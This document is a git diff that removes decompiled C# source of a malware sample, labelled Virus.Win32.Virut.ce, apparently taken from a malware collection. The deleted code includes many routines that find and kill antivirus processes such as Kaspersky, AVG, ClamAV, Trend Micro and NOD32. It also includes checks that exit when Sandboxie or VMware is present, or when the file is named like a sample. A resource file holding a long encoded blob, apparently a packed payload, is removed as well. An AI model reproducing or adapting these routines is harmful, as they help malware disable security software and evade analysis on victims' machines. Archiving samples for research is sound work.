Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mcagentmcuimgr", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void aavg() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "avgemc", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void aas() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "a2servic", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void aav() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ashWebSv", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void acav() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "clamauto", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void ac() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "cpf", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void ae() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ewido", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void afprot6() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "FPAVServer", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void ak() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "kavsvc", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void abg() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "BullGuard", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void aza() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "VSMON", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void aag() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "antigen", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void an() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ccapp", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void aos() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "tmlisten", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void apc() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "pccntmon", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void asp() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "earthagent", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void ass() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "spysweeper", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void avp() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "vpcmapvmsrvc", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void aop() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "acs.exe", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void aen32() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "nod32.exenod32krn.exeekrn.exe", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - [DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - public static void mofa() - { - Daanteys.uHmixyIUKrMQgWOandboxie(); - Daanteys.IsVmWare(); - Daanteys.ate(); - } - - public static void uHmixyIUKrMQgWOandboxie() - { - if (Process.GetProcessesByName("SbieSvc").Length < 1) - return; - Environment.Exit(0); - } - - public static void IsVmWare() - { - string str1 = "VMDragDetectWndClass"; - ref string local1 = ref str1; - string str2 = (string) null; - ref string local2 = ref str2; - if (Daanteys.FindWindow(ref local1, ref local2) != 0L) - return; - Environment.Exit(0); - } - - private static void ate() - { - if (!Process.GetCurrentProcess().MainModule.FileName.Contains("sample")) - return; - Environment.Exit(0); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyApplication.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyApplication.cs deleted file mode 100644 index 3f84846b..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null -// MVID: 3AB55594-508F-4214-AA1C-DD579280B133 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyComputer.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyComputer.cs deleted file mode 100644 index 159e23bb..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null -// MVID: 3AB55594-508F-4214-AA1C-DD579280B133 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyProject.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyProject.cs deleted file mode 100644 index 0f15bf51..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null -// MVID: 3AB55594-508F-4214-AA1C-DD579280B133 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/TempRes.resx b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/TempRes.resx deleted file mode 100644 index ed4819f7..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/TempRes.resx +++ /dev/null @@ -1,223 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 3IW45NfLy+n0wPzw18fH/ezY7PTT+fzo3uoD3oLlxOL0wPj018fH6fTH0d7XPD/uzP72/tfG8t30wPj11sfH6fTA+PTTMyIc9MD48NPHx+7zwPj018fH+eTA+PDTx8fp9Mjw9NfX1+n0wPj018fH6PXA+PTXx8fp9MbQuIv9x+n0yPD01v/tGuTQ/vLXx8fp9MDo5NfH1/n0wPj01sbH6fXB+PTXx8fp9MDo5NfHx+n0wPj018fH6fTB7cyJ/cfn+sD49NfBwen0xtDe7f3H6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fXB+PTR0dfp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wMyv/tjP89PA+PTXxvzT9MD48NPHx+TNpsL018fB7/TA+PTXx8fp9MD49NfHx+n0wNLe18Du2Mz6vquF/8vp9MbQ3u39x+n8yPj03sc57vTA+NLxx8fp9MD49NfHx+n0wPj018fH+eTA+OTJycDu9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD48NPHx+D9wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTRPSDhxILiB9fHx+Tj/ML018fX+fTA+NWc7cfp9NDo9NfHx+n0wPj018fH6fTA+PTRwcfp5tLMroT5grmm+vj02cnA7vTA+N79x8fp9NDo9NfG/tH0wMKftPQ/7tmF3NH8PM/Q2YDK2b3wOxvW3A3R5D7jtsmTntre0cfmwJjA0fLHx+n0wPj018fH6fTA+PTXx8fH2sD/89fHx+j1wPj0xDobG/TGDQPXx8fp9MD49NPDx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49MTUx+n0wOrhKuP7+/vf4bKY3z4e4I2y4c/Xx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+bF1QTn+f/X6fTA+PTXx8ftAjnJzuiU/NWk7OS1yi3Dw/3G5OLNiYzcuezntMotw+gMNhbwzuzi1aTtDO/m/YTDxuvk4vLIPd2X/Oe0yi3Dw/3G5eP+nozVpO3mtene2s+0/eTi84+micza57TKLcOj3O/F/c6KiNWk7OPC7eD4rv3G5OLD18fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NLNzez0wfX4x9vL/P/O0tec/cfp9MD49NfHxx4DwOruz4Hw79/q+OzPx8fp9cH49NfB78P0x//y/+nD6fvP+PTXx9f55ND49NfH1/n1wfj018fB7/TA/PDXx8fp9MD49NfX1+n0wPj018fH6fLG+fXXx9f59MD49NfHx+ne6vj018fH7fDA+PDTx8fp9MDo5NfH1/n0wPj018fH7fDA+PTXx8fp9MD49NfHx+n1wfn1xNTG6PTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MfBysPTw+7zwPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fl+MD40/72p7Om+fTG5cfH6fXB+PTXx8fp9MD49dbHx+n0wPj018fH6fTA+PTXx8fD3sD4Ay3Mw+n/28K8wM2FwP7K+PTXwf/T9MD47+rtx+n00Oj018fH6fTA+PTXx8fp9MD49NPDx+nm0sDM18Y3EufUwLOF/df59MD48NPDw+n0yPD018buwfTA+PTXx8fp9MD49NfHx+n0wfn018DA6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp9MD49NfHx+n0wPj018fH6fTA+PTXx8fp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zNLRrY73ydmwxP/eyMn/gK3U+N/w/egY49cCt4uNj/MBPNGs4NH18QPev8bx68nYqPDg0cL+4hnj5fnUgpGCp7Ho1d2Xm+Ho0uTGxdwpNtLeweHhyeSGpuz0ocbU2ZzK07auye3+nNjly9WunO/21grWrrzE4pGgzua8zvr7gLDK1+/p2vCoud/ACPX8+e/vFh4l37iIgY/O7q6jl5fo96ePyrK2nIXewIPf2fnB4e/Q++H485qN8uSLs+T2j/Xx9Tzl3OiL3Q4fybuhgPnysrbb0/78tf/D2e/ZAdnq5Pvi/db2xdrMwtDGw83Y4/7NuqCcqvky2tH4zsKmjOc+/tzaEduz98fRkp7JzKWKgt3s7+fd6oqJ5Qw6/vTIp/frAeWTwdrwisb619u1sIKL1u7gBQDD99Di3sf36y3Mz+fsxw7z8uE6H+vMExApPzva2v/A8Sc//tH6OQTRzTjoocDu1uzVK9PMDemk2yLl2BPI6gHnx/jhA/fjx8P31j3h4Pbc6vrq+a7T6ZDRKoeBz7mJ8g3TKTfap5y758Y+4Le81dyh/uWL1fnF+diMmf3X3sX5ANLvmNbo2PXtlaav1vk76dPW1N3cwMvcrZDHzKmTpayg69Y9w5Dm7KLk0f/a/S4U3s3HxBTUyNKSn/+M8Q3wp9PD9T7Ouujl6cHC1uXe9wQT8eHG8+ns5di1qo3T3ssF1uA5IR7vyv3rwu31y9mXv/0v5Y6o89XeBDEtKcLP1ry3wer9ytmJuLXu49z2tIy22d3phfb8+MPQ59vC+7mguNzQwY3N/8kEwPvol4un683C6/rAwtMkAvjZNiQY3esDGdbK1t/T7r647vGl3OzuuaqIi9bOmpPrBjPRltn/77eqv6Sgj6L7z9Pn5jv+wJ2x05SY8BwO9tMBKviT/+uSvdP/7v/XANrM4M7gzwADxtXG5YXvusbG9e7y5trS6Ne8uomE99D+K+Sn6cbtxQbd1vnP/ub2zYKmvIWN/MDThbDK3eSVucPf2Ov4lv4dAc/uCyPu3cO8x/HKiYjqyO/zrsH4i/rm/IHE0feE+93E0OLH4IOm0NP/18nu3OTc2Pq4s5jGzajXyLvQ5f42zNUi5dohPtXL5D7cxOTXxP4A6JeSy+bg+ePB8g3W4e3Fz+Pd7NDum7Ki5OHNkIbiyf7b2PTtgevY0++/oI+Xlb690QH65fTV2Nzq4tWVhfz3/i8SCNHa7M688te77jg07OKKl8bb3czi/9q6sZ3jwuP+67Cj8M7I7eeBotDP6MHIs9XCmoWCpNzYi90BLO/u69b0vc0i6f/MwfXS/sLR8tHNo6bPze7OHPHsn6f29ujfrvvmw8va2RXs2+remNsr5+A38evDz9yopKiIyvukoLHG9NspKTk53ZSEydzZ797AwtLS+c6Z+dffMfPNl/7h7uHPAfvx/ZqvsJ3B7Ng8MtSo1fnF//ujirPE/tLO2N7Rytje4P345tvL5r6W6eLi/OWLk5W2/96uyvWoz